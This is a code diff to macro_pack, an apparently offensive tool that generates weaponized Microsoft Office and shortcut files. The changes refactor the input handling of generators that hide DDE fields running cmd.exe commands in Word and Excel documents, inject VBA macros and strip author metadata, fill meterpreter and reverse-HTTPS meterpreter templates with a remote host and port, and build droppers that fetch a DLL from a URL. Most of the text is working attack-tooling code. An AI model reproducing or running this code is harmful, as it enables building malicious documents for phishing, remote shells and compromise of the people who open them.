diff --git a/src/macro_pack.py b/src/macro_pack.py index 50eeee4..e2ed44d 100755 --- a/src/macro_pack.py +++ b/src/macro_pack.py @@ -280,6 +280,9 @@ def main(argv): if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() + # Close Stdin pipe so we can call input() later without triggering EOF + #sys.stdin.close() + sys.stdin = sys.__stdin__ else: if not os.path.isfile(mpSession.vbaInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput) @@ -385,18 +388,6 @@ def main(argv): except Exception: logging.exception(" [!] Exception caught!") - logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") - if sys.platform == "win32": - logging.error(" [!] Attempt to force close MS Office applications...") - objExcel = win32com.client.Dispatch("Excel.Application") - objExcel.Application.Quit() - del objExcel - objWord = win32com.client.Dispatch("Word.Application") - objWord.Application.Quit() - del objWord - ppt = win32com.client.Dispatch("PowerPoint.Application") - ppt.Quit() - del ppt logging.info(" [+] Cleaning...") shutil.rmtree(WORKING_DIR) diff --git a/src/modules/excel_dde.py b/src/modules/excel_dde.py index 6ce4234..8d567e8 100644 --- a/src/modules/excel_dde.py +++ b/src/modules/excel_dde.py @@ -3,6 +3,7 @@ # Only enabled on windows import sys +from collections import OrderedDict if sys.platform == "win32": # Download and install pywin32 from https://sourceforge.net/projects/pywin32/files/pywin32/ import win32com.client # @UnresolvedImport @@ -19,39 +20,43 @@ class ExcelDDE(ExcelGenerator): def run(self): logging.info(" [+] Generating MS Excel with DDE document...") - - # Read command file - commandFile =self.getCMDFile() - if commandFile == "": - logging.error(" [!] Could not find cmd input!") - return - - logging.info(" [-] Open document...") - # open up an instance of Excel with the win32com driver\ \\ - excel = win32com.client.Dispatch("Excel.Application") - # do the operation in background without actually opening Excel - excel.Visible = False - workbook = excel.Workbooks.Open(self.outputFilePath) - - logging.info(" [-] Inject DDE field (Answer 'No' to popup)...") - with open (commandFile, "r") as f: - command=f.read() - - ddeCmd = r"""=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c %s'!A1""" % command.rstrip() - excel.Cells(1, 26).Formula = ddeCmd - excel.Cells(1, 26).FormulaHidden = True - - # Remove Informations - logging.info(" [-] Remove hidden data and personal info...") - xlRDIAll=99 - workbook.RemoveDocumentInformation(xlRDIAll) - logging.info(" [-] Save Document...") - excel.DisplayAlerts=False - excel.Workbooks(1).Close(SaveChanges=1) - excel.Application.Quit() - # garbage collection - del excel - logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) + try: + # Get command line + paramDict = OrderedDict([("Cmd_Line",None)]) + self.fillInputParams(paramDict) + command = paramDict["Cmd_Line"] + + logging.info(" [-] Open document...") + # open up an instance of Excel with the win32com driver\ \\ + excel = win32com.client.Dispatch("Excel.Application") + # do the operation in background without actually opening Excel + excel.Visible = False + workbook = excel.Workbooks.Open(self.outputFilePath) + + logging.info(" [-] Inject DDE field (Answer 'No' to popup)...") + + ddeCmd = r"""=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c %s'!A1""" % command.rstrip() + excel.Cells(1, 26).Formula = ddeCmd + excel.Cells(1, 26).FormulaHidden = True + + # Remove Informations + logging.info(" [-] Remove hidden data and personal info...") + xlRDIAll=99 + workbook.RemoveDocumentInformation(xlRDIAll) + logging.info(" [-] Save Document...") + excel.DisplayAlerts=False + excel.Workbooks(1).Close(SaveChanges=1) + excel.Application.Quit() + # garbage collection + del excel + logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) - + except Exception: + logging.exception(" [!] Exception caught!") + logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") + logging.error(" [!] Attempt to force close MS Excel applications...") + objExcel = win32com.client.Dispatch("Excel.Application") + objExcel.Application.Quit() + del objExcel + \ No newline at end of file diff --git a/src/modules/excel_gen.py b/src/modules/excel_gen.py index ef166c3..050c8f8 100644 --- a/src/modules/excel_gen.py +++ b/src/modules/excel_gen.py @@ -66,58 +66,68 @@ def check(self): def generate(self): logging.info(" [+] Generating MS Excel document...") - self.enableVbom() - - # open up an instance of Excel with the win32com driver\ \\ - excel = win32com.client.Dispatch("Excel.Application") - # do the operation in background without actually opening Excel - excel.Visible = False - # open the excel workbook from the specified file or create if file does not exist - logging.info(" [-] Open workbook...") - workbook = excel.Workbooks.Add() - - self.resetVBAEntryPoint() - logging.info(" [-] Inject VBA...") - # Read generated files - for vbaFile in self.getVBAFiles(): - if vbaFile == self.getMainVBAFile(): - with open (vbaFile, "r") as f: - macro=f.read() - # Add the main macro- into ThisWorkbook part of excel file - excelModule = workbook.VBProject.VBComponents("ThisWorkbook") - excelModule.CodeModule.AddFromString(macro) - else: # inject other vba files as modules - with open (vbaFile, "r") as f: - macro=f.read() - excelModule = workbook.VBProject.VBComponents.Add(1) - excelModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] - excelModule.CodeModule.AddFromString(macro) - - excel.DisplayAlerts=False - # Remove Informations - logging.info(" [-] Remove hidden data and personal info...") - xlRDIAll=99 - workbook.RemoveDocumentInformation(xlRDIAll) - - logging.info(" [-] Save workbook...") - xlOpenXMLWorkbookMacroEnabled = 52 - xlExcel8 = 56 - xlOpenXMLWorkbook = 51 - if self.outputFileType == MSTypes.XL97: - workbook.SaveAs(self.outputFilePath, FileFormat=xlExcel8) - elif MSTypes.XL == self.outputFileType and ".xlsx" in self.outputFilePath: - workbook.SaveAs(self.outputFilePath, FileFormat=xlOpenXMLWorkbook) - elif self.outputFileType == MSTypes.XL and ".xlsm" in self.outputFilePath: - workbook.SaveAs(self.outputFilePath, FileFormat=xlOpenXMLWorkbookMacroEnabled) - # save the workbook and close - excel.Workbooks(1).Close(SaveChanges=1) - excel.Application.Quit() - # garbage collection - del excel - - self.disableVbom() + try: + self.enableVbom() + + # open up an instance of Excel with the win32com driver\ \\ + excel = win32com.client.Dispatch("Excel.Application") + # do the operation in background without actually opening Excel + excel.Visible = False + # open the excel workbook from the specified file or create if file does not exist + logging.info(" [-] Open workbook...") + workbook = excel.Workbooks.Add() + + self.resetVBAEntryPoint() + logging.info(" [-] Inject VBA...") + # Read generated files + for vbaFile in self.getVBAFiles(): + if vbaFile == self.getMainVBAFile(): + with open (vbaFile, "r") as f: + macro=f.read() + # Add the main macro- into ThisWorkbook part of excel file + excelModule = workbook.VBProject.VBComponents("ThisWorkbook") + excelModule.CodeModule.AddFromString(macro) + else: # inject other vba files as modules + with open (vbaFile, "r") as f: + macro=f.read() + excelModule = workbook.VBProject.VBComponents.Add(1) + excelModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] + excelModule.CodeModule.AddFromString(macro) + + excel.DisplayAlerts=False + # Remove Informations + logging.info(" [-] Remove hidden data and personal info...") + xlRDIAll=99 + workbook.RemoveDocumentInformation(xlRDIAll) + + logging.info(" [-] Save workbook...") + xlOpenXMLWorkbookMacroEnabled = 52 + xlExcel8 = 56 + xlOpenXMLWorkbook = 51 + if self.outputFileType == MSTypes.XL97: + workbook.SaveAs(self.outputFilePath, FileFormat=xlExcel8) + elif MSTypes.XL == self.outputFileType and ".xlsx" in self.outputFilePath: + workbook.SaveAs(self.outputFilePath, FileFormat=xlOpenXMLWorkbook) + elif self.outputFileType == MSTypes.XL and ".xlsm" in self.outputFilePath: + workbook.SaveAs(self.outputFilePath, FileFormat=xlOpenXMLWorkbookMacroEnabled) + # save the workbook and close + excel.Workbooks(1).Close(SaveChanges=1) + excel.Application.Quit() + # garbage collection + del excel + + self.disableVbom() + + logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) + logging.info(" [-] Test with : \nmacro_pack.exe --run %s\n" % self.outputFilePath) + + except Exception: + logging.exception(" [!] Exception caught!") + logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") + logging.error(" [!] Attempt to force close MS Excel applications...") + objExcel = win32com.client.Dispatch("Excel.Application") + objExcel.Application.Quit() + del objExcel - logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) - logging.info(" [-] Test with : \nmacro_pack.exe --run %s\n" % self.outputFilePath) \ No newline at end of file diff --git a/src/modules/glk_gen.py b/src/modules/glk_gen.py index 981f808..c4104ee 100644 --- a/src/modules/glk_gen.py +++ b/src/modules/glk_gen.py @@ -3,6 +3,7 @@ import logging from modules.mp_generator import Generator +from collections import OrderedDict """ See https://www.exploit-db.com/exploits/42994/ @@ -31,19 +32,12 @@ def check(self): def generate(self): logging.info(" [+] Generating %s file..." % self.outputFileType) - - # Read command file - commandFile =self.getCMDFile() - if commandFile == "": - logging.error(" [!] Could not find cmd input!") - return() - - with open (commandFile, "r") as f: - targetUrl=f.read()[:-1] + paramDict = OrderedDict([("targetUrl",None)]) + self.fillInputParams(paramDict) # Complete template glkContent = GLK_TEMPLATE - glkContent = glkContent.replace("<<>>", targetUrl) + glkContent = glkContent.replace("<<>>", paramDict["targetUrl"]) # Write in new SCF file f = open(self.outputFilePath, 'w') diff --git a/src/modules/mp_module.py b/src/modules/mp_module.py index c1243b4..0ae1072 100644 --- a/src/modules/mp_module.py +++ b/src/modules/mp_module.py @@ -4,6 +4,7 @@ import os, mmap, logging,re from common import utils from common.utils import MSTypes +import shlex class MpModule(): def __init__(self,mpSession): @@ -71,6 +72,38 @@ def getCMDFile(self): return "" + def fillInputParams(self, paramDict): + """ + Fill parameters dictionnary using given input. If input is missing, ask for input to user + """ + # Fill parameters based on input file + cmdFile = self.getCMDFile() + if cmdFile is not None and cmdFile != "": + f = open(cmdFile, 'r') + valuesFileContent = f.read() + f.close() + os.remove(cmdFile) + inputValues = shlex.split(valuesFileContent)# split on space but preserve what is between quotes + if len(inputValues) == len(paramDict): + i = 0 + # Fill entry parameterds + for key, value in paramDict.items(): + paramDict[key] = inputValues[i] + i += 1 + else: + logging.error(" [!] Incorrect number of provided input parameters (%d provided where this features needs %d).\n Required parameters: %s\n" % (len(inputValues),len(paramDict), list(paramDict.keys()))) + return + else: + # if input was not provided + logging.warn(" [!] Could not find input parameters. Please provide the next values:") + for key, value in paramDict.items(): + if value is None or value == "" or value.isspace(): + newValue = None + while newValue is None or newValue == "" or newValue.isspace(): + newValue = input(" %s:" % key) + paramDict[key] = newValue + + def getMainVBAFile(self): """ return main vba file (the one containing macro entry point) """ result = "" diff --git a/src/modules/ppt_gen.py b/src/modules/ppt_gen.py index e411aa2..53c743d 100644 --- a/src/modules/ppt_gen.py +++ b/src/modules/ppt_gen.py @@ -99,46 +99,56 @@ def check(self): def generate(self): logging.info(" [+] Generating MS PowerPoint document...") + try: + self.enableVbom() + + # open up an instance of PowerPoint with the win32com driver + ppt = win32com.client.Dispatch("PowerPoint.Application") + + logging.info(" [-] Open presentation...") + presentation = ppt.Presentations.Add(WithWindow = False) + + self.resetVBAEntryPoint() + logging.info(" [-] Inject VBA...") + # Read generated files + for vbaFile in self.getVBAFiles(): + # Inject all vba files as modules + with open (vbaFile, "r") as f: + macro=f.read() + pptModule = presentation.VBProject.VBComponents.Add(1) + pptModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] + pptModule.CodeModule.AddFromString(macro) + + # Remove Informations + logging.info(" [-] Remove hidden data and personal info...") + ppRDIAll=99 + presentation.RemoveDocumentInformation(ppRDIAll) + + logging.info(" [-] Save presentation...") + ppSaveAsOpenXMLPresentationMacroEnabled = 25 + if MSTypes.PPT == self.outputFileType: + presentation.SaveAs(self.outputFilePath, FileFormat=ppSaveAsOpenXMLPresentationMacroEnabled) + # save the presentation and close + ppt.Presentations(1).Close() + ppt.Quit() + # garbage collection + del ppt + + self.disableVbom() + + logging.info(" [-] Inject Custom UI...") + self._injectCustomUi() + + logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) + logging.info(" [-] Test with : \nmacro_pack.exe --run %s\n" % self.outputFilePath) - self.enableVbom() - - # open up an instance of PowerPoint with the win32com driver - ppt = win32com.client.Dispatch("PowerPoint.Application") - - logging.info(" [-] Open presentation...") - presentation = ppt.Presentations.Add(WithWindow = False) - - self.resetVBAEntryPoint() - logging.info(" [-] Inject VBA...") - # Read generated files - for vbaFile in self.getVBAFiles(): - # Inject all vba files as modules - with open (vbaFile, "r") as f: - macro=f.read() - pptModule = presentation.VBProject.VBComponents.Add(1) - pptModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] - pptModule.CodeModule.AddFromString(macro) - - # Remove Informations - logging.info(" [-] Remove hidden data and personal info...") - ppRDIAll=99 - presentation.RemoveDocumentInformation(ppRDIAll) - - logging.info(" [-] Save presentation...") - ppSaveAsOpenXMLPresentationMacroEnabled = 25 - if MSTypes.PPT == self.outputFileType: - presentation.SaveAs(self.outputFilePath, FileFormat=ppSaveAsOpenXMLPresentationMacroEnabled) - # save the presentation and close - ppt.Presentations(1).Close() - ppt.Quit() - # garbage collection - del ppt - - self.disableVbom() + except Exception: + logging.exception(" [!] Exception caught!") + logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") + logging.error(" [!] Attempt to force close MS Powerpoint application...") + ppt = win32com.client.Dispatch("PowerPoint.Application") + ppt.Quit() + del ppt + - logging.info(" [-] Inject Custom UI...") - self._injectCustomUi() - - logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) - logging.info(" [-] Test with : \nmacro_pack.exe --run %s\n" % self.outputFilePath) \ No newline at end of file diff --git a/src/modules/scf_gen.py b/src/modules/scf_gen.py index 07904e8..ccacd67 100644 --- a/src/modules/scf_gen.py +++ b/src/modules/scf_gen.py @@ -3,10 +3,7 @@ import logging from modules.mp_generator import Generator -import re, os -from common import utils -from vbLib import Base64ToBin, CreateBinFile -import base64 +from collections import OrderedDict SCF_TEMPLATE = \ r""" @@ -27,19 +24,13 @@ def check(self): def generate(self): logging.info(" [+] Generating %s file..." % self.outputFileType) + paramDict = OrderedDict([("iconFilePath",None)]) + self.fillInputParams(paramDict) - # Read command file - commandFile =self.getCMDFile() - if commandFile == "": - logging.error(" [!] Could not find cmd input!") - return() - with open (commandFile, "r") as f: - iconFile=f.read()[:-1] - - # Write VBS in template + # Fill template scfContent = SCF_TEMPLATE - scfContent = scfContent.replace("<<>>", iconFile) + scfContent = scfContent.replace("<<>>", paramDict["iconFilePath"]) # Write in new SCF file f = open(self.outputFilePath, 'w') diff --git a/src/modules/template_gen.py b/src/modules/template_gen.py index 0368e07..d0269a4 100644 --- a/src/modules/template_gen.py +++ b/src/modules/template_gen.py @@ -11,6 +11,7 @@ import vbLib.templates from common import utils from common.utils import MSTypes +from collections import OrderedDict @@ -62,21 +63,10 @@ def _processEmbedExeTemplate(self): def _processDropperDllTemplate(self): - # open file containing template values - cmdFile = self.getCMDFile() - if cmdFile is None or cmdFile == "": - logging.error(" [!] Could not find template parameters! \n Required input: \"\" \"\"") - return - f = open(cmdFile, 'r') - valuesFileContent = f.read() - f.close() - params = shlex.split(valuesFileContent)# split on space but preserve what is between quotes - dllUrl = params[0] - if len(params)>1: - dllFct = params[1] - else: - logging.warn(" [!] No input value was provided for this function.\n Will call 'main' function in DLL .\n Use \"-t help\" option for help on templates.") - dllFct = "main" + paramDict = OrderedDict([("URL", None),("Dll_Function",None)]) + self.fillInputParams(paramDict) + dllUrl=paramDict["URL"] + dllFct=paramDict["Dll_Function"] if self.outputFileType in [ MSTypes.HTA, MSTypes.VBS, MSTypes.WSF, MSTypes.SCT]: # for VBS based file @@ -113,35 +103,26 @@ def _processDropperDllTemplate(self): vbaFile = self.addVBAModule(content) logging.info(" [-] Second part of Template %s VBA generated in %s" % (self.template, vbaFile)) - os.remove(cmdFile) logging.info(" [-] OK!") def _processEmbedDllTemplate(self): # open file containing template values - cmdFile = self.getCMDFile() - if os.path.isfile(cmdFile): - f = open(cmdFile, 'r') - valuesFileContent = f.read() - f.close() - params = shlex.split(valuesFileContent)# split on space but preserve what is between quotes - dllFct = params[0] - else: - logging.warn(" [!] No input value was provided for this template.\n Will call 'main' function in DLL .\n Use \"-t help\" option for help on templates.") - dllFct = "main" + paramDict = OrderedDict([("Dll_Function",None)]) + self.fillInputParams(paramDict) #logging.info(" [-] Dll will be dropped at: %s" % extractedFilePath) if self.outputFileType in [ MSTypes.HTA, MSTypes.VBS, MSTypes.WSF, MSTypes.SCT]: # for VBS based file content = vbLib.templates.EMBED_DLL_VBS - content = content.replace("<<>>", dllFct) + content = content.replace("<<>>", paramDict["Dll_Function"]) vbaFile = self.addVBAModule(content) logging.info(" [-] Template %s VBS generated in %s" % (self.template, vbaFile)) else: # for VBA based files # generate main module content = vbLib.templates.DROPPER_DLL2 - content = content.replace("<<>>", dllFct) + content = content.replace("<<>>", paramDict["Dll_Function"]) invokerModule = self.addVBAModule(content) logging.info(" [-] Template %s VBA generated in %s" % (self.template, invokerModule)) @@ -164,27 +145,17 @@ def _processEmbedDllTemplate(self): vbaFile = self.addVBAModule(content) logging.info(" [-] Second part of Template %s VBA generated in %s" % (self.template, vbaFile)) - if os.path.isfile(cmdFile): - os.remove(cmdFile) logging.info(" [-] OK!") def _processMeterpreterTemplate(self): """ Generate meterpreter template for VBA and VBS based """ - # open file containing template values - cmdFile = self.getCMDFile() - if cmdFile is None or cmdFile == "": - logging.error(" [!] Could not find template parameters!") - return - f = open(cmdFile, 'r') - valuesFileContent = f.read() - f.close() - params = shlex.split(valuesFileContent)# split on space but preserve what is between quotes - rhost = params[0] - rport = params[1] + paramDict = OrderedDict([("rhost",None), ("rport",None) ]) + self.fillInputParams(paramDict) + content = vbLib.templates.METERPRETER - content = content.replace("<<>>", rhost) - content = content.replace("<<>>", rport) + content = content.replace("<<>>", paramDict["rhost"]) + content = content.replace("<<>>", paramDict["rport"]) if self.outputFileType in [MSTypes.HTA, MSTypes.VBS, MSTypes.SCT]: content = content + vbLib.Meterpreter.VBS else: @@ -194,23 +165,15 @@ def _processMeterpreterTemplate(self): def _processWebMeterTemplate(self): - """ Generate reverse https meterpreter template for VBA and VBS based - + """ + Generate reverse https meterpreter template for VBA and VBS based """ - # open file containing template values - cmdFile = self.getCMDFile() - if cmdFile is None or cmdFile == "": - logging.error(" [!] Could not find template parameters!") - return - f = open(cmdFile, 'r') - valuesFileContent = f.read() - f.close() - params = shlex.split(valuesFileContent)# split on space but preserve what is between quotes - rhost = params[0] - rport = params[1] + paramDict = OrderedDict([("rhost",None), ("rport",None) ]) + self.fillInputParams(paramDict) + content = vbLib.templates.WEBMETER - content = content.replace("<<>>", rhost) - content = content.replace("<<>>", rport) + content = content.replace("<<>>", paramDict["rhost"]) + content = content.replace("<<>>", paramDict["rport"]) content = content + vbLib.WebMeter.VBA vbaFile = self.addVBAModule(content) diff --git a/src/modules/url_gen.py b/src/modules/url_gen.py index 6d10085..80bb815 100644 --- a/src/modules/url_gen.py +++ b/src/modules/url_gen.py @@ -3,6 +3,7 @@ import logging from modules.mp_generator import Generator +from collections import OrderedDict """ @@ -66,20 +67,13 @@ def check(self): def generate(self): - logging.info(" [+] Generating %s file..." % self.outputFileType) + logging.info(" [+] Generating %s file..." % self.outputFileType) + paramDict = OrderedDict([("targetUrl",None)]) + self.fillInputParams(paramDict) - # Read command file - commandFile =self.getCMDFile() - if commandFile == "": - logging.error(" [!] Could not find cmd input!") - return() - - with open (commandFile, "r") as f: - targetUrl=f.read()[:-1] - - # Complete template + # Fill template urlContent = URL_TEMPLATE - urlContent = urlContent.replace("<<>>", targetUrl) + urlContent = urlContent.replace("<<>>", paramDict["targetUrl"]) # Write in new SCF file f = open(self.outputFilePath, 'w') diff --git a/src/modules/word_dde.py b/src/modules/word_dde.py index 52bf5b9..cb4daa7 100644 --- a/src/modules/word_dde.py +++ b/src/modules/word_dde.py @@ -3,7 +3,7 @@ # Only enabled on windows import sys -from common.utils import MSTypes +from collections import OrderedDict if sys.platform == "win32": # Download and install pywin32 from https://sourceforge.net/projects/pywin32/files/pywin32/ import win32com.client # @UnresolvedImport @@ -21,42 +21,46 @@ class WordDDE(WordGenerator): def run(self): logging.info(" [+] Generating MS Word with DDE document...") - - # Read command file - commandFile =self.getCMDFile() - if commandFile == "": - logging.error(" [!] Could not find cmd input!") - return - - logging.info(" [-] Open document...") - # open up an instance of Word with the win32com driver - word = win32com.client.Dispatch("Word.Application") - # do the operation in background without actually opening Excel - word.Visible = False - document = word.Documents.Open(self.outputFilePath) - - logging.info(" [-] Inject DDE field (Answer 'No' to popup)...") - with open (commandFile, "r") as f: - command=f.read() - - ddeCmd = r'"\"c:\\Program Files\\Microsoft Office\\MSWORD\\..\\..\\..\\windows\\system32\\cmd.exe\" /c %s" "."' % command.rstrip() - wdFieldDDEAuto=46 - document.Fields.Add(Range=word.Selection.Range,Type=wdFieldDDEAuto, Text=ddeCmd, PreserveFormatting=False) - - # save the document and close - word.DisplayAlerts=False - # Remove Informations - logging.info(" [-] Remove hidden data and personal info...") - wdRDIAll=99 - document.RemoveDocumentInformation(wdRDIAll) - logging.info(" [-] Save Document...") - document.Save() - document.Close() - word.Application.Quit() - # garbage collection - del word - - logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) + try: + # Get command line + paramDict = OrderedDict([("Cmd_Line",None)]) + self.fillInputParams(paramDict) + command = paramDict["Cmd_Line"] + + logging.info(" [-] Open document...") + # open up an instance of Word with the win32com driver + word = win32com.client.Dispatch("Word.Application") + # do the operation in background without actually opening Excel + word.Visible = False + document = word.Documents.Open(self.outputFilePath) + + logging.info(" [-] Inject DDE field (Answer 'No' to popup)...") + + ddeCmd = r'"\"c:\\Program Files\\Microsoft Office\\MSWORD\\..\\..\\..\\windows\\system32\\cmd.exe\" /c %s" "."' % command.rstrip() + wdFieldDDEAuto=46 + document.Fields.Add(Range=word.Selection.Range,Type=wdFieldDDEAuto, Text=ddeCmd, PreserveFormatting=False) + + # save the document and close + word.DisplayAlerts=False + # Remove Informations + logging.info(" [-] Remove hidden data and personal info...") + wdRDIAll=99 + document.RemoveDocumentInformation(wdRDIAll) + logging.info(" [-] Save Document...") + document.Save() + document.Close() + word.Application.Quit() + # garbage collection + del word + + logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) + except Exception: + logging.exception(" [!] Exception caught!") + logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") + logging.error(" [!] Attempt to force close MS Word...") + objWord = win32com.client.Dispatch("Word.Application") + objWord.Application.Quit() + del objWord \ No newline at end of file diff --git a/src/modules/word_gen.py b/src/modules/word_gen.py index 1538707..8cf2b72 100644 --- a/src/modules/word_gen.py +++ b/src/modules/word_gen.py @@ -69,65 +69,74 @@ def check(self): def generate(self): logging.info(" [+] Generating MS Word document...") - self.enableVbom() - - logging.info(" [-] Open document...") - # open up an instance of Word with the win32com driver - word = win32com.client.Dispatch("Word.Application") - # do the operation in background without actually opening Excel - word.Visible = False - document = word.Documents.Add() - - logging.info(" [-] Save document format...") - wdFormatDocument = 0 - wdFormatXMLDocument = 12 - wdFormatXMLDocumentMacroEnabled = 13 - - if MSTypes.WD97 == self.outputFileType: - document.SaveAs(self.outputFilePath, FileFormat=wdFormatDocument) - elif MSTypes.WD == self.outputFileType and ".docx" in self.outputFilePath: - document.SaveAs(self.outputFilePath, FileFormat=wdFormatXMLDocument) - elif MSTypes.WD == self.outputFileType and ".docm" in self.outputFilePath: - document.SaveAs(self.outputFilePath, FileFormat=wdFormatXMLDocumentMacroEnabled) - - self.resetVBAEntryPoint() - logging.info(" [-] Inject VBA...") - # Read generated files - for vbaFile in self.getVBAFiles(): - if vbaFile == self.getMainVBAFile(): - with open (vbaFile, "r") as f: - # Add the main macro- into ThisDocument part of Word document - wordModule = document.VBProject.VBComponents("ThisDocument") - macro=f.read() - wordModule.CodeModule.AddFromString(macro) - else: # inject other vba files as modules - with open (vbaFile, "r") as f: - macro=f.read() - wordModule = document.VBProject.VBComponents.Add(1) - wordModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] - wordModule.CodeModule.AddFromString(macro) - document.Application.Options.Pagination = False - document.UndoClear() - document.Repaginate() - document.Application.ScreenUpdating = True - document.Application.ScreenRefresh() - #logging.info(" [-] Saving module %s..." % wordModule.Name) - document.Save() - - #word.DisplayAlerts=False - # Remove Informations - logging.info(" [-] Remove hidden data and personal info...") - wdRDIAll=99 - document.RemoveDocumentInformation(wdRDIAll) - - # save the document and close - document.Save() - document.Close() - word.Application.Quit() - # garbage collection - del word - self.disableVbom() + try: + self.enableVbom() + + logging.info(" [-] Open document...") + # open up an instance of Word with the win32com driver + word = win32com.client.Dispatch("Word.Application") + # do the operation in background without actually opening Excel + word.Visible = False + document = word.Documents.Add() + + logging.info(" [-] Save document format...") + wdFormatDocument = 0 + wdFormatXMLDocument = 12 + wdFormatXMLDocumentMacroEnabled = 13 + + if MSTypes.WD97 == self.outputFileType: + document.SaveAs(self.outputFilePath, FileFormat=wdFormatDocument) + elif MSTypes.WD == self.outputFileType and ".docx" in self.outputFilePath: + document.SaveAs(self.outputFilePath, FileFormat=wdFormatXMLDocument) + elif MSTypes.WD == self.outputFileType and ".docm" in self.outputFilePath: + document.SaveAs(self.outputFilePath, FileFormat=wdFormatXMLDocumentMacroEnabled) + + self.resetVBAEntryPoint() + logging.info(" [-] Inject VBA...") + # Read generated files + for vbaFile in self.getVBAFiles(): + if vbaFile == self.getMainVBAFile(): + with open (vbaFile, "r") as f: + # Add the main macro- into ThisDocument part of Word document + wordModule = document.VBProject.VBComponents("ThisDocument") + macro=f.read() + wordModule.CodeModule.AddFromString(macro) + else: # inject other vba files as modules + with open (vbaFile, "r") as f: + macro=f.read() + wordModule = document.VBProject.VBComponents.Add(1) + wordModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] + wordModule.CodeModule.AddFromString(macro) + document.Application.Options.Pagination = False + document.UndoClear() + document.Repaginate() + document.Application.ScreenUpdating = True + document.Application.ScreenRefresh() + #logging.info(" [-] Saving module %s..." % wordModule.Name) + document.Save() + + #word.DisplayAlerts=False + # Remove Informations + logging.info(" [-] Remove hidden data and personal info...") + wdRDIAll=99 + document.RemoveDocumentInformation(wdRDIAll) + + # save the document and close + document.Save() + document.Close() + word.Application.Quit() + # garbage collection + del word + self.disableVbom() + + logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) + logging.info(" [-] Test with : \nmacro_pack.exe --run %s\n" % self.outputFilePath) + except Exception: + logging.exception(" [!] Exception caught!") + logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") + logging.error(" [!] Attempt to force close MS Word...") + objWord = win32com.client.Dispatch("Word.Application") + objWord.Application.Quit() + del objWord - logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) - logging.info(" [-] Test with : \nmacro_pack.exe --run %s\n" % self.outputFilePath)